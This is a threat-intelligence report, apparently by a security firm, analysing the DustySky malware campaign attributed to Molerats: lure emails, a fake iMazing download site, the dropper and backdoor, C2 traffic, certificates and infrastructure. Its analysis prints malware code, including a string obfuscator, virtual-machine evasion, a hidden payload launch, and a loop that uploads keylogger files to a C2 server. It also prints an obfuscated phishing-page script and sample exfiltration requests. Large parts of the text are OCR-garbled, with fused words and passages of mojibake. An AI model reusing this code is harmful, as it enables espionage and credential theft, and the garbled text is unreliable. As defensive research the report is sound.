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Foreword

DustySkycaled dNeDWorY €by its developerjs a multistage malware in use sindéay 20151t is in use by
the Molerats (akaGaza cyberganga politically motivatedgroupwhosemain objectivewe believe is
intelligence gatheringOperating since 2012, the grosactivityhas beerreported by Norman?,
Kasperski?, FireEyé and PwE

Thisreport revolves around a campaigjmat includes a new malware developed by a member of the group
or on behalfof the group Based ordozensof known attacks andhe vast infrastructure in usewe estimate
that a wave otargetedmaliciousemailmessages has beagnton aweeklybasis.

These attacks areatgeted,but not spearphished l.e., maliciousemailmessagesre sent to selected targets
rather than random mass distribution, but anet tailored specifically to each and every targebzensof
targets may receive the exact sammessageTheemailmessage and thkire document are written in
Hebrew, Arabior English depending on the target audience.

Targeted sector$ncludegovernmental andliplomatic institutionsincluding embassiespmpaniedrom the
aerospace andlefence Industriesfinancialinstitutions; journalists; software developers.

The attackers have been targetiagftware developerin generalusing a fake wabsite pretending to be a
legitimateiOS management softwarandlinking to itin an online freelancing marketplace.

Most targets are from the Middle Eastlsrael, Egypt, Saudi Arabia, United Arab Emiratedrag. TheUnited
States and countries iBuropeare targeted as well.

Acknowledgments

We would like to thanlour colleagues for their ongoing information sharing and feedpablich have been
crucial for this researclsecurity researcher Infr@assieTotalanalyst teamTom Lancasteof PwC Team
Cymry Security researche®ebastian Garcidlenachem Perlman of LightCybé&rther security researchers
who wish toremainanonymous.
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Tactics, Techniques and Procedures

Delivery

The attackersvould usually send a malicioesnailmessagehat either linksto an archivefile (RAR or ZIP
compresseylor has one attached to it. Beloave maliciousemailmessageshat have beersent to multiple
targetson September and Decemb2015

From: [mailto:ibnkhaldon9@gmail.com] ugals .| On Behalf Of Israel Defense Forces
Sent: Saturday, September 05, 2015 5:57 PM

To:

Subject: OXNAN Y¥ NN 1TIMIPN MY NDLN : TPAYD TOIAN.

Importance: High

From: IDF Spokesperson’s Unit <hendsawi@amail.com=>
Date: Thu, Dec 31, 2015 at 11:51 AM
Subject: 'awinm V7w TY72 7w TIV'N QYN OXNN;

12001 IX 17010 D'D0INN 72" IARN T

D'VI9N DX A'¥N7 ' T

ilall zlls Gaapll aic /25161 Guolwdll sl
ala @ igumnll gaiall jlaial @b IgS)lii ouall elwdll gamlas aal
ghall Z2yli @b ABcdlg adndl dilaall @b L

Israel Defense Forces.

Phone : +972-3-9353111
Email : idfnewmedia@idfspoksperson.com
Address : Ben Gurion International Airport, 70100, Israel
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The link may include these parameters:

1 Id-the ID of the arrent wave of maliciousmailmessages composed of glaintextword, a plus
sign, and a number. For exampRand+281

1 tokenl-same as id, buBase64 encoded

1 token2-Base64 encodedmailaddress of the target to which the malicionessagavassent.

1 C-the word Clickor openexe

Thefollowing regular expression matches teeucture of malicious link
\/[A-Zaz]H .php\ ?((?:id|tokenl|token2|C)=[A-Zaz0-9\ /=+%]*={0,2}&?){4}

For example:
spynews.otzo[.Jcom/20151104/Update.php?uledacted>&tokenlsredacted>&token2<redacted>&C=Cli
ck

Thearchivecontains an .exe file, sometimdssguisedas a MicrosofiVordfile, avideo, or another file
format, using thecorrespondingcon. For example:

|| Tips.rar 9/5/201510:00 PM  RAR File 85 KB 9/5/201510:00 PM
1) Details 0/5/20159:47 PM  Coempressed (zipped) Folder 85KB 9/5/2015 9:47 PM

@J The Truth About Yeur Sexual Peak, Don't worry 8/30/2015 T:42 PM - Application 248 KB 9/7/20157:26 PM

i8] ONIN S TN ITINEN DY NOUN T8N Tom0n, 8/30/20157:42 PM  Application 248 KB 9/5/20159:55 PM

Lure content and sender identity

If the victim extracts tharchiveand clicks the .exe file, tHare document or video are presenteghile the
computer is beingnfected withDustySky

In recent samples the group uséticrosoftWord filesembed witha malicious macrpwhichwould infect
the victim if enabledNote, that these infection method®ly on sociakngineering convincing the victim to
openthe file (and enabling content if it is disablednd not on software/ulnerabilities

The subject line of the malicious emaikssageas well as the name and content of thee document are
usualy related to recent events in diplomacy, defense, and politics. Sometimesopicsare gossip or sex
relatedand might even include a pornographic video. In recent samfake invoices and copy of the
public Googlerivacy policy were used.

The conent of thelure document is always copied from a public reatem or other web contentand is

never an original composition of the attackers

¢ KS & ®lN® Malicioishessagessdza dz f t @8 aSd G2 o6S NBfFGSR (2 GKS
Israely S &€ X aLA&NIGLIAANT IS0 5{STRINAFSE BCIZMOIFHY BIGRE EHpa Sa
Policy Center organizatién

66¢KS OSYGSNI dzy RSENIH186a (KS Gral 2F F2NBasSSAy3 GKS Fdzid
impact of different geopolitical projects on the regidhaims at poviding strategic analysis, policy papers, studies, and
NE&aSINOK (2 aASNBS (GKS RSOAaA2Y YIF{SNEBE +d Fye Ayadaidlddza:
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When linked from the malicioumessagethe malware would béostedeither on a cloud service (many
times in copy.com, a legitimate file hosting service), or on a server controlled by the attackers.

Phishing

When the malware is hosted on a server controlled by the attag;itbe UserAgent string of thei I NH S G Q&
browser is check#whenthey click the malicious linKfthe target is usingVindows, DuskySky is served. If
the operating systenis different than Windows, theéargetis served a Google, Microsoft, or Yahoo phishing

page:

PDweilWUTX9Hn4 HG23VBzZFDWGSFPRFsCH2u57Pi+Lhtm 13QynU5STZDweilWUTX9HN4_HG23VBzZFDWGBFPRFsCH2u57Pi+Lhtm

YAHOO!

Sign in

Yahoo Username

Microsoft account What's this?

Password

Forgot password or usermname?

Password

Keep me signed in

Create Account
Can't access your account?

Don't have a Microsoft account? Sign up now

Facebook Google

Privacy &Ccclfl&s‘ Terms of J:el PC site

© 2014 Microsoft

IZDweilWUTX9Hn4_HG23VBzZFDWGEBFPRFsCH2u57Pi+1.htm
Google

One account. All of Google.

Sign in to continue to Gmail

Need help?

Create an account

One Google Account for everything Google

HMGO 2> HE
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The source code of the phishing page is made fup single JavaScript block, which at runtime decodes a
single variable into HTNIL

<script language="javascript" type="text/javascript")vaﬂ
10I="KkSKpcCfingCdpxGcz5yJjFJMBpkZx1 EODJWNZBFODVKSNFMVKd1bI1nQ5kGfZhjM
89GSxFkalN1RZVHesd3cr1ERTVWQT1kY61nROVHNMp2S09kd2JI3Z0N2TnNOcRdkQRA1bx

TV £ e AT TS AT ot AWM INTr T 1 1 7om TAC AT CaMZ WV O+ D ol MW ANV ITDE ] TIAT hn 7 T 7 UAC T

UM Z TP UO T oS TOao T TPRINGY Yy UG UN TRUIY TURDUY oy TUUTE VTR GIIITE 7 T G
vZulmcON1P1MjPpEWJ])1lzYogyKpkSKh9yYoQnbJV2cyFGecoUmOncyPhxzYodmclRXZytX
Kjhibv1lGdj5WdmlTZ71CZsUGLrxyYsEGLwhibv1Gd)5WdmhCbhzXZz "' ; function
~1I1(data) {var
00010I="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz012345678
9+/=";var

0l,02,03,h1,h2,h3,hd4,bits, i=0,enc="";do{hl1=00010I.index0Of (data.charAt
(i++)) ;h2=000101.1index0Of (data.charAt (i++)) ; h3=000101I.indexOf (data.cha
rAt (i++) ) ;h4=000101.index0Of (data.charAt (i++)) ;bits=h1<<18|h2<<12h3<<
6|lh4d;0l=bits>>16&0xff;02=bits>>8&0xff;03=bits&0xff;if (h3==64) {enc+=5St
ring.fromCharCode (0l) }else

if (hd4==64) {enc+=5tring. fromCharCcde (cl,02) }else{enc+=String. fromCharC
ode (ol,02,03) }}while(i<data.length);return enc} function 000 (string) {
var ret = "', 1 = 0; for ( i = string.length-1; 1 >= 0; i-- ){ ret
+= string.charAt(i);} return ret; }eval(illl(ooo(égl)));</Script>

After the victimfills in and sends thé&ke logn form,they areredirected to a legitimate website. For
example in one case the victim was redirected ton@ws itenT in the Israeli news website NRGnly the
news item wa®ld (from one year prior to the attack) and natated to the original subject of the malicious
emailmessagelt was probably used in previous attacks, aimel attackes did not care enough or forgot to
change it to a relevant one.

Attacks against software developers

IP addres€5.32.13.16&nd all the domains that are pointing td itost a webpage which is a copy of a
legitimate and unrelated software websitéMazing aniOS management software

Screenshot of fake websiteimazing[.]Jga 0r45.32.13.169

C' [ imazing.ga

(#) iMazing’

No throttling

Hide data URLs All | XHR JS CSS Img Media Font [2:l8§ WS Other

X | Headers | Preview Response Timing

~| postmessageRelay.htm ¥ General

2] /aaa Request URL: http://imazing.ga/aaa/postmessageRelay.htm
Request Method: GET

Status Code: @ 200 0K

Remote Address: 45.32.13.169:80

fastbutton.htm

7 http://www.nrg.co.il/lonline/1/ART2/594/733.html
8 https://www.passivetotal.org/passive/45.32.13.169
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Among the domains is a similar looking ermazing[.]ga.

The source code of the fake website reveals that it was cofpad the legitimate sourcen 220ctober
2015:

C' | [4 view-source:imazing.ga
e e P i T e e P O S B e O T
adaptiveHeight: true,
auto: true,

autoHover: true,
rontrols: fals

» B3 k3 B3 Ra |
£ & & & &

<iframe tabindex="-1" style="width: 1px; height: ©.6518%px; position: absclute; top: -1@@px;" src="@aa/postmessagsRelay.htm” id="od
z| <!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

74| Minified using disk
5| Database Caching 66/78 queries in 2.015 seconds using disk
5| Object Caching 2757/2847 objects using disk

B3 B3 B3 ORI R3 R3 B3 B3 R3 R
g
i ] ria e e

Served from: imazing.com @ 2815-18-22 10:46:19 by W3 Total Cache --»

The fake website, similarly to the legitimate one, offers visitors to downloaiMaegingsoftware. However,

the version on the fake website is bundled with DustySky malware. Upon execution of the malicious version
(2f452e90c2f9b914543847ba2b43d) the legitimateiMazingis installed, while in the background

DustySky is droppeds a file namedPlugin.exg1d9612a869ad929bd4dd16131ddb133and executed

Quick Overview Static Analysis Behavioral Analysis Network Analysis Dropped Files (6)
File name Plugin.exe
Associated Filenames C:hUsers\user1\AppData\Roaming\Plugin.exe
File Size 488448 bytes
File Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 1d9612a869ad929bd4dd16131ddb133a

Plugin.exeammediately starts communicating withsitommand and control sever using the hardcoded
addresans.suppoif.]xyzand supo.mefoundl.Jcom, both also pointing to above mentionetb.32.13.169

GET /TEST.php HTTP/1.1
Host: ns.suppoit.xyz
Connection: Keep-Alive

GET /Star.php?Pn=RE9XT1RPVO5QQzEgfCB1c2VyMQ&fr=&GR=U3RhcihTdGFyKTxicj4gMiAxNSOxMCOx
0A&com=IDxicjdgIDxicj4gRID=1791592286951932451792322211187199187665tarko=TW1ljcmIzb2
Z8IFdpbmRvd3MgNyBFbnR1lcnByaXN1IA&ho=bnMuc3VwcGIpdCS54eXo=Rav=Bv=783 HTTP/1.1
User-Agent: 1791592286951932451792322211187199187665tar

Host: ns.suppoit.xyz

Interestingly, we found the fake domain imazing[.]Jga mentioned in a job pdstirige freelancers
marketplace website freelancer.com. Inet posting, the attackers claithey are looking for someone to

9 hitps://www.cz.freelancer.com/projects/iPhone/Write-some-Software-8755699/
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0 dzA dn Rpplitation like that this websitea A O8 ¢ | Y R Sy downd&d apphcStionZidIakeSaNd § 2
overlooksic® ¢ KNBYAYyIpBETIYS V(B2 ATF eyt ARSE A& YAAAAY S

C £ https://www.cz.freelancer.com/pr

V’ freelancer Hire Freelancers Work My Projects H

Bids = AvgBid (EUR) Project Budget (EUR)

30 €3221 €1500-€3000

Project Description

I'd like an application like that this website,
that application can manage android mobiles
like ios at this site :

download application and take an overlook ...

I http://imazing.ga/ I

C# and NETFRAMEWORK 3.5 as a high level language.

Let me know if any idea is missing or...

Regards.
Skills required
NET, C# Programming, iPhone, MVC, Swift

CKA& O0SKI@A2NI RSOAFGSa FNRY (GKS FGdlFO1SNARQ dzadz t
individuals. It is unclear to us why they would go after random infections, butanwémagine various

reasons, such as access to computers which would be used as proxies for attacks, or access to licenses for
software owned by the victims.

Post infection

This section describes the actions performed by the attackersfected computersve have investigated.

After infectingthe computer, he attackers used both the capabilities@distySkyand those of public
hacking tools theynad subsequentlydownloadedto the computer.

© Clearsky Cyber securityclearskysec.com
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Theytook screenshots and a list of active processes in thepmder, and sent them tdaheir command and
control seversThey used BrowserPasswordDdfpp publicand freeto-usetool that recovers passwords
saved in browsex Below is the log file (empty in this case) that we recovered after the attabkeldeleted
it

= Pass- 1 SEE—— Eil
1

W N

L e e T e R R R T R T R R L

Browser Password Recovery Report

T e T T e I R I T R R T R R R L

~ o o

12 Produced by BrowserPasswordDump from http://www.SecurityXploded.com

The malware would also scan the computer for files that cortamainkeywords. The list deywords in
base64format, isretrievedfrom the command and contrads a text file. For example:

2YXYrtin2KjYsdin2Ko=
2KjYp9iz2KjZiNix2K/Yp9iq
Y3YuzZG9j
157Xkteil5nXnQ==
2LPZitix2Kkg2LDYp9ig2YryYqQs=
cGFzc3dvemRz
16HXmdeh157XkNeV16o0=
INeR15nXmNeX15XXnyDXpNegl5n
d29ybQ==
bX14iZXJe

Belowarethe encoakd strings from the above imageéecodedand translated

2YXYrtin2KjYsdin2Ko= 9Fp 9F > B Telecommunication
2KjYp9iz2K|jZiNix2K/Yp9iq dFp p M3 BF 3 Password
Y3YuzG9j cv.doc cv.doc
157Xkteil5nXnQ== 1LY Contacts
2LPZitix2Kkg2LDYp9ig2YrYqQ== w1 WYd ™Mb Resume
cGFzc3dvcmRz Passwords Passwords
16HXmdeh157XkNeV160= R Passwords
INeR15nXmNeX15XXnyDXpNegl5nXn+ 1 7 x 11 {1 % Homeland security
d29ybQ== worm worm

bXIljZXJ0 mycert mycert
LnBmeA== pfx .pfx

10 http://securityxploded.com/bravser-passworddump.php
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These words teach us what the attackars after: personal documerntsredentials certificates
and private keys information pertainingto homelandsecurity.

Abusing breached email account

In one case, the attackers used stokmail credentials and logged firom 96.44.156.201 potentiallytheir
proxy or VPN endpoinf heyalso logged in frons.101.140.118 an IP addreghat belongs to a proxy
service called privatetunnel.com (in previous incidents, emails were sent from a nearby address
5.101.140.11%
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Malware analysis

DustySky(caled NeD by its developer) is a multiage malware written in .NET. This chapter reviews its
functionalityand main featuresThe sample analyzed is f589827c4cf94662544066b80bfda6ab from late
August2015 It is composed of BustySkyropper, DustySky coreand theDustySky keylogging component

DustySky dropper

TheDustySkyroppertries to evade runningn avirtual machine Once sure the computer is not a Vi,
extracts, runs and adslpersistency to DustySky Coteextracts basic information about theperating
system and chedlfor the existerre of an Antivirus It also extractand opersthe lure document.

The droppé's resources aretwo components that are droppedt run time. One is the lure document
(internallycalied & y* S ¥ \iihich is presentetb the victim once the dropper is executetihe other is
DustySkyCore, alrojan backdooE 0 AY G SNy I ft & Ol fft SR af23£0d

The droppetusesthe following function to obfuscate the name of functand other parts of the malware
(Inlater versionsSmartAssemlyl6.9.0.114NET obfuscatowvas used):

public static string ?31?(string 2?317?)

1

int length = ?31?.Length;

char[] array = new char[length];

for (int i = @; i < array.Length; i++)

1
char c ?312[1i];
byte b (byte)((int)c ™ length - 1i);
byte b2 = (byte)((int)(c »» 8) ~ i);
array[i] = (char)({int)b2 << 8 | (int)b);

}

return string.Intern{new string(array)});

¥

i)
So, for example, the following string:

‘Registrykey registrykey = Registry.CurrentUser.OpenSubKey("SOFTHAREV\Microsoft\\Windows\\CurrentVersion\\Run", true);

Isencoded as
‘RegistryKey registrykey = Registry.CurrentUser.Opensubkey(2302. 2312 ("~t | ;Epdzsz 2mm.2 @@dﬁ“ﬂﬂjLﬂﬂﬂiﬁDb:Eﬂi&thIThﬂﬂ"), true);

For VM evasiothe dropper checks whether there is a DLL that indicate that the malware is running in a
virtual machine ¢boxmrxnp.dliand vmbusres.dll which indicate vitualbox amdGuestlib.dlivhichindicates
vmware.
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If the dropper is indeed running in a virtual machine, it will open the lure document and stop its activity:

if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\zvmGuestlLib.d11"))
1
try
1
File.WriteAllBytes(tempPath + "\\News.doc"”, Resources.MNews);
Process.Start(tempPath + "\\News.doc™};
return;
catch
1
Application.Exit();
return;
h
if (File.Exists(Environment.GetEnvironmentVariable("windir™) + "\\zwvmbusres.d11"})
1
try
File.WriteAllBytes(tempPath + "\\News.doc", Resources.News);
Process.Start(tempPath + "\\Mews.doc");
return;
by
catch
Application. Exit();
return;

The droppeuses Windows Management Instrumentatiéhto extract information about the operating
system an whether an antiirus is active.

DustySkyCore is dropped to %TEMP% andsusingeither cmd or the .NET interface.

try
i

new Process

{

StartInfo = new ProcessStartInfo

Windowstyle = ProcessWindowStyle.Hidden,
FileName = "cmd.exe",
Arguments = string.Concat(new object[]

" emd Jc ",
tempPath,
tewt2,

" exe®,

b

}-Start();
Thread.Sleep(4808);
Application.Exit();

return;
h
catch
1
Process.Start(tempPath + text2 + ".exe");
Application.Exit();
return;
¥

11 https://msdn.microsoft.com/enrus/library/aa394582(v=vs.85).aspx
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A registry entry is created for pessency after computer restart:

(AdounEntry | Descripton | Publisher | Image Path
y HKCU\SOFTWARE\Microsoft \Windows'\Current Version\Run
B vdtz155 jdi File not found: C:\Users\Ali\AppData\Local\Temp\NewFolder exe
‘¥ C:\Users\Ali\App Data'\Roaming\Microsoft\Windows\Start Menu'\Programs'\Startup
# | NewFolder Ink File not found: C:\Users \Ali\AppData'\Local\Temp\NewFolder exe exe
B LI A AArTIAMIARII RS L% A v £~ . Sl A N _ 2 "

DustySky core

DustySkyCoreis aTrojanbackdoorandthe main componenbf the malware It communicata with the
command and contraderver, exfiltrates collected data, information and files, and receives and execute
commands. It has the following capabilities:

1 Collectingnformation aboutthe OS versiorrunningprocesses and installed software.

1 Searcingfor removable media andetwork drives andduplicatingitself into them.

T Extractingother components (such as the keylogging component) or receiving themtifrem
command and control server, and running or removing them.

1 Evadingvirtual machins.

1 Turning tke computer off or restarting it

T Making sure only a single instance of the malware is running.

The keylogging log file is uploaded to the server every BOrs#s. The files are uploaded via a POST request
to a URL that ends witkey.php

while (true)
i
string value = Class2.smethod_1(Environment.MachineName + Environment.OSVersion) 2?? "";
WebClient webClient2 = new WebClient();
webClient2.Headers["User-Agent"”] = value;
Thread.Sleep(50000);
string path = Path.GetTempPath() + "temps\\";
string[] files = Directory.GetFiles(path);
string[] array = files;
int i = 0;
while (i < array.lLength)
1
string text3 = array[i];
string text4 = text3;
if (Class2.smethod S5(text4) <= 5000L)

{ .
it++;

}

else

{
try
{

WebClient webClient3 = new WebClient();

webClient3.Headers["User-Agent"”] = value;

NameValueCollection nameValueCollection = new NameValueCollection();
nameValueCollection["ke"] = File.ReadAllText(text4);

nameValueCollection["ID"] = value;

byte[] bytes2 = webClient3.UploadValues(str + "/key.php", "POST", nameValueCollection);
Encoding.UTF8.GetString(bytes2);

webClientB.Dispose()ﬂ

File.Delete(text3);
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DustySky keylogging component

One of the components contained in DustySky core is a keylogger (for example
15be036680c41f97dfac9201a7c51civhen ordeed by the command and control servehe keylogger is
extracted and executedkeylogging logs are saved %6 TEMP%emps.

pdb analysis
pdb strings in DustySky sample were structuasdollows

b:\World-201511\Working Tool201512-27 NeD Ver 9 Rard 92169.6.199NeD
Worm\obj\x86 ReleaseMusicLogs.pdb

A

pdb stringfrom23& | YLIX S& | NB AphdNdXB-ShylicatBre khihy tallle below we present a
breakdown offolders and file names comprising tpeb strings to reflect the ongoing developmewycleof
DustySky since its first release in May 2015.

name filename date version campaign c2

NeD Download and execute VersionDloc News.pdb 201507-15 5 meshal

NeD Download and execute VersionDloc News.pdb 201508-18 501P FixedDov

NeDDownload and execute Version Doc News.pdb 20151027 704 NSR ND 192.52.167.235
NeD Download and execute VersionDloc News.pdb 201511-04 704 SPY 192.52.167.235
NeD Download and execute VersionDloc News.pdb 201512-27 9 Rand 192.169.6.199
NeDDownload and execute Version Doc News.pdb 201512-27 9 Rand 192.169.6.199
NeD Worm MusicLogs.pdb 20151021 703 Random 192.161.48.59
NeD Worm MusicLogs.pdb 20151027 704 NSR ND 192.52.167.235
NeD Worm MusicLogs.pdb 201511-03 704 Stay 107.191.47.42
NeD Worm MusicLogs.pdb 201511-04 704 SPY 192.52.167.235
NeD Worm MusicLogs.pdb 201511-08 704 mossad Track 192.161.48.59
NeD Worm MusicLogs.pdb 201511-12 8SSl GOV 192.161.48.59
NeD Worm MusicLogs.pdb 201511-14 8sSSl Socks 167.160.36.14
NeD Worm MusicLogs.pdb 201511-17 8 PRI 172.245.30.30
NeD Worm MusicLogs.pdb 201512-27 9 Rand 192.169.6.199
NeD Worm MusicLogs.pdb 201512-29 8 Stay jan 107.191.47.42
NeD Worm Music Synchronization.pdt 201508-08 5P USA & Europe Randor

NeD Worm Music Synchronization.pdt 201508-08 5P baker

NeD Worm Music Synchronization.pdt 201508-10 5P Fixed

NeD Worm Version 1 (20435-15) log file.pdb 20150514 1

NeDKeY ver 1 Internet.pdb 201507-04 1

NeDKeY ver 1 Internet.pdb 201507-04 1

NeDKeYer 1 Internet.pdb 201507-04 1
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Command and control communication

Traffic examples

Following aresamples otommunication with thecommand and contraderver(identifiers have been
altered).

DustySkyhas two hardcoded domains of command and control servers. It stathdwking ithe first one is
aliveby sending &ET request to TEST.php or index,@xpectingd h g responself it does not receive
an OK, it will trya second domain

IPAddress iPAddress = array2[i];

[1 byte_ = SendRequest. ( iebClient_@, StringConnect. ("https://", iPAddress, "/TEST.php

string_6 = Delegate9s. (Delegatelsl. (), byte_ );
(strcmp. (string_6, "OK"))

.EvilURL1;
Delegate9s. ("https://", Delegatel@s. (iPAddress));

Forexample this is annitial GET request to index.php:

GET /index.php HTTP/1.1
Host: facetoo.co [.Tvu
Connection: Keep - Alive

Servermreply:

HTTP/1.1 200 OK

Date: Sun, 06 Sep 2015 19:52:49 GMT

Server: Apache/2.2.15 (CentOS)

X- Powered - By: PHP/5.3.3

Content - Length: 2

Connection: close

Content - Type: text/html; charset=UTF -8

OK

Next, a GET request is sent wiitifiormation about the infected computer as Base64 parameters

GET

/10S.php?Pn=9TbmRvd3KTxpbmRvd3icj4&fr=& GR=RmMFjZUJvb2s0SU9TKTxicj4gMjAXNS
OwOCOyNA&com=IDxicj4gIDxicj4g&ID=386578203222222738119472812481673914678
&0=TWIjcm9zb2Z0IFdpbmRvd3MgNyBQcm9mZXNzaW9uYWwg&ho=ZmFjZXRvby5jby52dQ==&
av=&v=501P HTTP/1.1

User - Agent:  386578203222222738119472812481673914678

Host: facetoo.co [.]vu

Another example of &RL in the GHEquest:

http://ra.goaglesmtp.co.vu/NSR.php?Pn=MWw1bEoxVDJqQiB8IFBTUFVCV1M&fr=&GR
=REFGQksoTINSKTxicj4agMjAXNSOxMSOwNA&com=IDxicj4gIDxicj4g&ID=133279209241
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34561851231757518321517760252DAFBK& 0=TWIjcm9zb2Z0IFdpbmRvd3MgNyBIb21IIFB
yZW1pdWO0g&ho=cmEuz29hZ2xlc210cC5jby52dQ==&av=&v=704

Parameters

Parameter Structure and meaning ‘

Pn <computer name> | <user name>
GR hardcoded campaign identifier in the form of <tokenl (token2)> <br> <date>
for example:
Aiwi kil eaks (OBALO<Br>8teShal (OMuUS«b) =28r >2015
com <br> <br>
Never used.
ID <identification number>
o] <operating system>
Ho <host>
av Anti-virus name
\ DustySky malware version

The following regular expressionatches the communication patterns:
\/[A-Zaz]{2,5) .php\ ?(?:(Pn|fr|lGR|com|ID|o|hojav|v)=[A -Zaz09\/=+]*={0,2}&?){5,9}
Stolen information sent tacommand and contrahs POST requests

POST /RaR.php HTTP/1.1

Content - Type: application/x - www form - urlencoded

User - Agent: 1042541562231131292551331782259622162135190107BK
Host: down.supportcom.xyz

Content - Length: 109127

Expect: 100 - continue

ke=iVBORWOKGgoAAAANSUhEUgAAAYAAAAJY CAYAAACadoJWAAAAAXNSROIArs4c6QAAAARNQUIBAACXKjw
vBYQUAAAAJICEN....

ID=1042541562231131292551 331782259622162135190107BK&

N=Screen - 2015- 10- 06_05 - 15- 34- PM.png

HTTP/1.1 100 Continue

SSL and digital certificates

Recentlycommand and contratommunication changed from HTTP to HTTPS. The digital certificate used in
the HTTPS traffic is either sslfnedor usesa legitimate Comodo issued certificate.

The domairbulk-smtp[.]xyz which is owned by the attackergses the following digital certificate:

Certificate:
Data:
Version: 3 (0x2)
Serial Number:
35:e5:39:4¢:58:e8:4d:f5:fa:9a:3¢:25:21:12:01:19
Signature Algorithm: sha256WithRSAEnNcryption
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Issuer: C=GB, ST=Greater Manchester, L=Salford, O=COMODO CA Limited,
CN=COMODO RSA Domain Validation Secure Server CA
Validity
Not Before: Nov 25 00:00:00 2015 GMT
Not After : Nov 24 23:59:59 2016 GMT
Subject: OU=Domain Control Validated, OU=PositiveSSL, CN= bulk - smtp . xyz

C' | & https://bulk-smtp.xyz/U/

Certificate

General |Detai|s I Certification Path

ﬁ Certificate Information

This certificate is intended for the following purpose(s):

» Ensures the identity of & remote computer
* Proves your identity to a remote computer
»1,3.6,1.4.1.6499,1,.2.2.7
#2.23,140.1.2.1

* Refer to the certification authority's statement for details.

Issued to: bulk-smip.xyz

Issued by: COMCDO RSA Domain Validation Secure Server
CA

Valid from 11/ 25/ 2015 to 11/ 25/ 2015

Certificate

&

| General I Details | Certification Path

Certification path

5 The USERTrust Network™
{5l COMODOQ RSA Certification Autharity

foned —FJJ COMODO RSA Domain Validation Secure Server CA

-l

Prior to using th&€Comodoaissudl certificate, the attackers usedselfsignedcertificate impersonainga Tet
Aviv, Israelbased company called EMBhe organizational unity in theertificateis&@ 9 Y MarktingS: f S & ¢
(note the misspelling of tharketing).

Certificate:
Data:
Version: 3 (0x2)
Serial Number: 13229300438499639338 (0xb797eaa82fb0c02a)
Signature Algorithm: sha256WithRSAEnNcryption
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Issuer: C=IL, ST=lsrael - Telaviv, L=Tel Aviv, O=EMS, OU=Email
Markting Sales, CN=email - market.ml/emailAddres s=info@email - market.ml
Validity

Not Before: Nov 17 14:15:08 2015 GMT
Not After : Nov 16 14:15:08 2016 GMT
Subject: C=IL, ST=lIsrael - Telaviv, L=Tel Aviv, O=EMS, OU=Email
Markting Sales, CN=email - market.ml/emailAddres s=info@email - market.ml

For another domainsmtp.gq this selfsigned certificate was used

Certificate:
Data:
Version: 1 (0x0)
Serial Number: 12074485766838107425 (0xa79130d4el1e53d21)
Signature Algorithm: shalWithRSAEnNcryption
Issuer: C=IL, ST=Tel Aviv, L=Tel Aviv, O=BEM, OU=BEM co., CN=smtp.gq
/emailAddress=info@smtp.gq
Validity
Not Before: Nov 17 14:48:51 2015 GMT
Not After : Dec 17 14:48:51 2015 GMT
Subject: C=IL, ST=Tel Aviv, L =Tel Aviv, O=BEM, OU=BEM co.,
CN=smtp.gq /emailAddress=info@smtp.gq

DustySky communication uses sonraath of the following paths when communicating with its command
and control server:

Update.php

conn.php

geoiploc.php

news.htm

pass.php

passho.php

passyah.php
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Infrastructure

Using PassiveTotabdtack analysis platform, we were able to visualize the last 6 months of data for key
infrastructure used by the actors. It's worth noting that all IP addresses have been active in the past several
weeks with many of the domains resolving to them beirgpmbination (green squares) of dynamic DNS
providers (blue squares) and registered domains (brown squares). These heatmaps allow us to identify
interesting periods or changes in the infrastructure that may have been due to actors adjusting their tactics.

Dynamic/Registered Dynamic Registered First Seen First & Last of Month

HEE HEENE NEEE h

Reader.

192.161.48.59

Jul Sep Oct Nov

ST L [ L e e Lo [l o [ Y e [ o B
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7 7 7 n n 1" 1" n 1" 12
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BREOCOORCNTEAaROEEmEn IHY
T 7 7 7 n n 12 1" n 1" 1"
In this graph, we can seke actors used a combination of dynamic DNS and registered domains up until
December 23rd. Othat day,the actors seem to remove the registered domain and strictly use dynamic

DNS. It's unclear why thigould occur, but it's possible that the server changed functions in the attack or
was no longer needed.

192.52.167.235

Heatmap OSINT o Certificate History Potential Malware 0 Facebook ThreatExchange o Certificate
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In this graph, the colors clearly segment activity that occurred. The primary period of interest appears to be
when both dynamic DNS dmegistered domains are in use. This occurs from September 23rd to December
17th and has a number of days where new domains are associated to the IP address. While not entirely
known, this period could reflect the actors going live in their operatione8as emails sent and

compilation dates, there were plenty of phishing campaigns going on during this period of time. It's also
worth noting that this IP address is no longer showing any content which could mean it's been taken offline

-

-
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167.160.36.14

Heatmap QOSINT o Certificate History Potential Malware o Facebook ThreatExchange o Certificate
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Inthis graph, we see activity starting @eptember 9ttbeing directed to a dynamic DNS provider. Similar to
Graph One, we can see an increase in domains around the November timeframednograif in

December. Again, not entirely clear, but November rhaye been a point where the attackers felt the need
to diversify the domains they were using in attacks.

45.32.13.169

Heatmap OSINT o Certificate Certificate History

Jul Aug Sep Oct Nov Dec

In this graph, the gray blocks indicate that no activity was captured for a majority of the time. Starting
November 9ththe actors intoduced four unique, registered domains before then adding dynamic DNS
providers. What's most interesting about this IP address is that the content for both dynamic DNS urls and
registered domains lead to the same download page that hosts a Windows exkcutabunclear why the
attackers continue to use both, but the move from registered domains to also using dynamic DNS domains
could suggesthe actors are beginning to wise up. The use of dynamic DNS infrastructure makes attribution
and tracking more diicult as a dynamic DNS domain could be shared by unrelated parties.
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72.11.148.147

Heatmap Certificate

Jul Aug Sep Oct Nov Dec

In this graph, we see the same lack of data until recent months and the use of both dynamic DNS and
registered domains. Given the recent activity and a large amount obdwnbeing pointed at this IP
address, it's plausible that this server may be the most current of the actors. In fact, it could be involved in

on-going operations that we have seen into this year.
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Threat actor andAttribution

We attribute the DustySkyttacks, with mediurrhigh certainty to the same group that FireE¥fecalled
Molerats and Kaspersky calledGaza cybergand@ased on the following characteristits

Infrastructure overlap

Indicator Used by Also used for DustySky with

192.52.167.125 Gazacybergang f589827¢4cf94662544066b80bfdabab
0756357497c2cd7f41ed6a6d4403b395
84e5bb2e2a27e1dcb1857459f80ac920

192.161.48.59 Was pointed to by 18ef043437a8817e94808aee887ade5¢
update.ciscofreak.conused | 3227cc9462ffdc5fa27ae75a62d6d0d9
by Gaza cybergang fcecf4dc05d57cBae356ab6cdaac88c2
9c60fadecebea770e2c18l4ac4bl3ae74
dnsfor.dnsfor.me Gaza cybergang 7a91d9bcd02b955b363157f9a7853fd1l
185.82.202.207 Was pointed to by 7f5cb76ca3ba8df4cabceb3clcdOclle
